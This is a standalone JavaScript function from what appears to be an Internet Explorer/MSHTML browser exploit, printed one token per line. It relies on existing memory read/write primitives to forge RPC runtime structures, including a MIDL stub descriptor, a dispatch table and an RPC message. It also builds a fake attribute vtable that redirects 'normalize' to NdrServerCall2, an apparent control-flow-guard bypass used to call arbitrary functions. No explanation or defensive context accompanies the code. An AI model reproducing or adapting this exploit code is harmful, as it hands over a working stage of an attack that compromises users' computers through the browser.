function initRpc() {
var data
=
[
50
,
72
,
0
,
0
,
0
,
0
,
0
,
0
,
52
,
0
,
192
,
0
,
16
,
0
,
68
,
13
,
10
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
72
,
0
,
0
,
0
,
9
,
0
,
72
,
0
,
4
,
0
,
9
,
0
,
72
,
0
,
8
,
0
,
9
,
0
,
72
,
0
,
12
,
0
,
9
,
0
,
72
,
0
,
16
,
0
,
9
,
0
,
72
,
0
,
20
,
0
,
9
,
0
,
72
,
0
,
24
,
0
,
9
,
0
,
72
,
0
,
28
,
0
,
9
,
0
,
72
,
0
,
32
,
0
,
9
,
0
,
72
,
0
,
36
,
0
,
9
,
0
,
72
,
0
,
40
,
0
,
9
,
0
,
72
,
0
,
44
,
0
,
9
,
0
,
112
,
0
,
48
,
0
,
9
,
0
,
0
]
var NdrServerCall2
=
getProcAddr(rpcrt4,
'NdrServerCall2'
)
var NdrOleAllocate
=
getProcAddr(rpcrt4,
'NdrOleAllocate'
)
var NdrOleFree
=
getProcAddr(rpcrt4,
'NdrOleFree'
)
var RPCMessageObject
=
createArrayBuffer(cbase.size())
var
buffer
=
createArrayBuffer(
0x100
)
var buffer2
=
createArrayBuffer(
0x200
)
var AttributeVtable
=
read(patt,
32
)
var MSHTMLSymbolBuffer
=
createArrayBuffer(
0x1000
)
var TransferSyntaxBuffer
=
createArrayBuffer(syntaxObject.size())
var PRPC_CLIENT_INTERFACE_Buffer
=
createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
var _MIDL_SERVER_INFO_Buffer
=
createArrayBuffer(_MIDL_SERVER_INFO_.size())
var rpcProcStringBuffer
=
createArrayBuffer(data.length)
writeData(rpcProcStringBuffer, data)
var _MIDL_STUB_DESC_Buffer
=
createArrayBuffer(_MIDL_STUB_DESC.size())
var RPC_DISPATCH_TABLE_Buffer
=
createArrayBuffer(RPC_DISPATCH_TABLE.size())
var NdrServerCall2Buffer
=
createArrayBuffer(
4
)
write(NdrServerCall2Buffer, NdrServerCall2,
32
)
write(MSHTMLSymbolBuffer, osf_vft,
32
)
write(MSHTMLSymbolBuffer
+
4
,
0x89abcdef
,
32
)
write(MSHTMLSymbolBuffer
+
8
,
0x40
,
32
)
cattr.
set
(MSHTMLSymbolBuffer,
'__vtguard'
, cattr.get(AttributeVtable,
'__vtguard'
))
cattr.
set
(MSHTMLSymbolBuffer,
'SecurityContext'
, cattr.get(AttributeVtable,
'SecurityContext'
))
cattr.
set
(MSHTMLSymbolBuffer,
'JSBind_InstanceOf'
, cattr.get(AttributeVtable,
'JSBind_InstanceOf'
))
cattr.
set
(MSHTMLSymbolBuffer,
'JSBind_TypeId'
, cattr.get(AttributeVtable,
'JSBind_TypeId'
))
cattr.
set
(MSHTMLSymbolBuffer,
'normalize'
, NdrServerCall2)
cbase.
set
(RPCMessageObject,
'pSecurityContext'
, RPCMessageObject
+
68
)
write(RPCMessageObject
+
76
,
1
,
32
)
syntaxObject.
set
(TransferSyntaxBuffer,
'SyntaxVersion.MajorVersion'
,
2
)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'RpcInterfaceInformation'
, PRPC_CLIENT_INTERFACE_Buffer)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'pfnAllocate'
, NdrOleAllocate)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'pfnFree'
, NdrOleFree)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'pFormatTypes'
, buffer2)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'fCheckBounds'
,
1
)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'Version'
,
0x50002
)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'MIDLVersion'
,
0x800025b
)
_MIDL_STUB_DESC.
set
(_MIDL_STUB_DESC_Buffer,
'mFlags'
,
1
)
_MIDL_SERVER_INFO_.
set
(_MIDL_SERVER_INFO_Buffer,
'pStubDesc'
, _MIDL_STUB_DESC_Buffer)
_MIDL_SERVER_INFO_.
set
(_MIDL_SERVER_INFO_Buffer,
'DispatchTable'
, createArrayBuffer(
32
))
_MIDL_SERVER_INFO_.
set
(_MIDL_SERVER_INFO_Buffer,
'ProcString'
, rpcProcStringBuffer)
_MIDL_SERVER_INFO_.
set
(_MIDL_SERVER_INFO_Buffer,
'FmtStringOffset'
, buffer2)
RPC_DISPATCH_TABLE.
set
(RPC_DISPATCH_TABLE_Buffer,
'DispatchTableCount'
,
1
)
RPC_DISPATCH_TABLE.
set
(RPC_DISPATCH_TABLE_Buffer,
'DispatchTable'
, NdrServerCall2Buffer)
PRPC_CLIENT_INTERFACE.
set
(PRPC_CLIENT_INTERFACE_Buffer,
'DispatchTable'
, RPC_DISPATCH_TABLE_Buffer)
PRPC_CLIENT_INTERFACE.
set
(PRPC_CLIENT_INTERFACE_Buffer,
'InterpreterInfo'
, _MIDL_SERVER_INFO_Buffer)
PRPC_CLIENT_INTERFACE.
set
(PRPC_CLIENT_INTERFACE_Buffer,
'Length'
, PRPC_CLIENT_INTERFACE.size())
PRPC_CLIENT_INTERFACE.
set
(PRPC_CLIENT_INTERFACE_Buffer,
'InterfaceId.SyntaxVersion.MajorVersion'
,
1
)
PRPC_CLIENT_INTERFACE.
set
(PRPC_CLIENT_INTERFACE_Buffer,
'TransferSyntax.SyntaxVersion.MajorVersion'
,
2
)
PRPC_CLIENT_INTERFACE.
set
(PRPC_CLIENT_INTERFACE_Buffer,
'Flags'
,
0x4000000
)
_RPC_MESSAGE.
set
(RPCMessageObject,
'RpcInterfaceInformation'
, PRPC_CLIENT_INTERFACE_Buffer)
_RPC_MESSAGE.
set
(RPCMessageObject,
'TransferSyntax'
, TransferSyntaxBuffer)
_RPC_MESSAGE.
set
(RPCMessageObject,
'Handle'
, MSHTMLSymbolBuffer)
_RPC_MESSAGE.
set
(RPCMessageObject,
'DataRepresentation'
,
16
)
_RPC_MESSAGE.
set
(RPCMessageObject,
'RpcFlags'
,
0x1000
)
_RPC_MESSAGE.
set
(RPCMessageObject,
'Buffer'
,
buffer
)
_RPC_MESSAGE.
set
(RPCMessageObject,
'BufferLength'
,
48
)
return
RPCMessageObject
}